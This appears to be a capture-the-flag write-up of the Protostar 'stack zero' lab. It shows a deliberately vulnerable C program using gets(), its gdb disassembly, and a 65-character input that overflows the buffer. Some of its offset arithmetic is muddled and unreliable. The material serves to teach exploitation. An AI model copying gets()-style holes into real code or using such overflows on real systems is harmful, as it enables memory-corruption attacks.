Source code provided by:
https://exploit.education/protostar/
This series contains my written solution to the protostar challenges, this is stack zero
Objective
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
We’re given the source code to a binary file, this is a 32 binary that contains one input which is stored in a variable called buffer. Our goal is to modify the value of the modified
variable to allow us access to the first print statement. I’m not going to cover every single instruction as I don’t think this is the place, assembly is a broad topic and there’s a lot to learn. This is going to go on the assumption that you already know some basic x86 assembly and how registries work. We’re also going to look at this as if we didn’t have the source code, we just have an objective. If you want all of the resources in one place, they can be access in this ISO provided by exploit education:
https://github.com/ExploitEducation/Protostar/releases/download/v2.0.0/exploit-exercises-protostar-2.iso
Enumeration
Popping open the binary using your favourite tool, gdb is on the iso file so I’ll use it however just about anything works. We want to start by identifying our main function:
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
This is pretty easy to walk through, we can see there’s a gets function call:
0x0804840c <main+24>: call 0x804830c <gets@plt>
What is gets
? Let’s check the man page:
This isn’t a safe function, the input doesn’t take into consideration the size of the buffer it’s assigning values to, meaning we can add however much we want to the buffer. We can also try identify the jump condition:
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
If modified is 0, we jump to our “try again” text. Otherwise, we go to our next jump instruction:
0x08048425 <main+49>: jmp 0x8048433 <main+63>
We also know there’s a variable created and assigned the value 0:
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
Let’s try using breaks to step through the run time of this program and understand what’s going on:
break main
This is going to cause our program to stop once it hits the main function. We also want to set two more, one just after gets and one at the test condition:
break *0x08048411
break *0x08048415
I also created a hook stop to allow us to debug this easier:
define hook-stop
i registers
x/24wx $esp
x/2i $eip
end
PWN
Let’s pick an input we know is within our range:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
We can see pretty much what we expect:
Just a bunch of a’s, we see our esp address is over at:
0xbffff7c0
Given that our modified
variable is at:
0xbffff7c0 + 0x5c
which is 92, we know we are 92 characters away from the esp. If we now use the values we have, we can calculate how many more we need to hit the buffer size:
(0xbffff7c0 + 0x5c) - 0xbffff7c0
Which gives us 10, but what if we did 11? This gives us 65, above our current buffer size:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
We have gone above the stack and modify the modified
variable: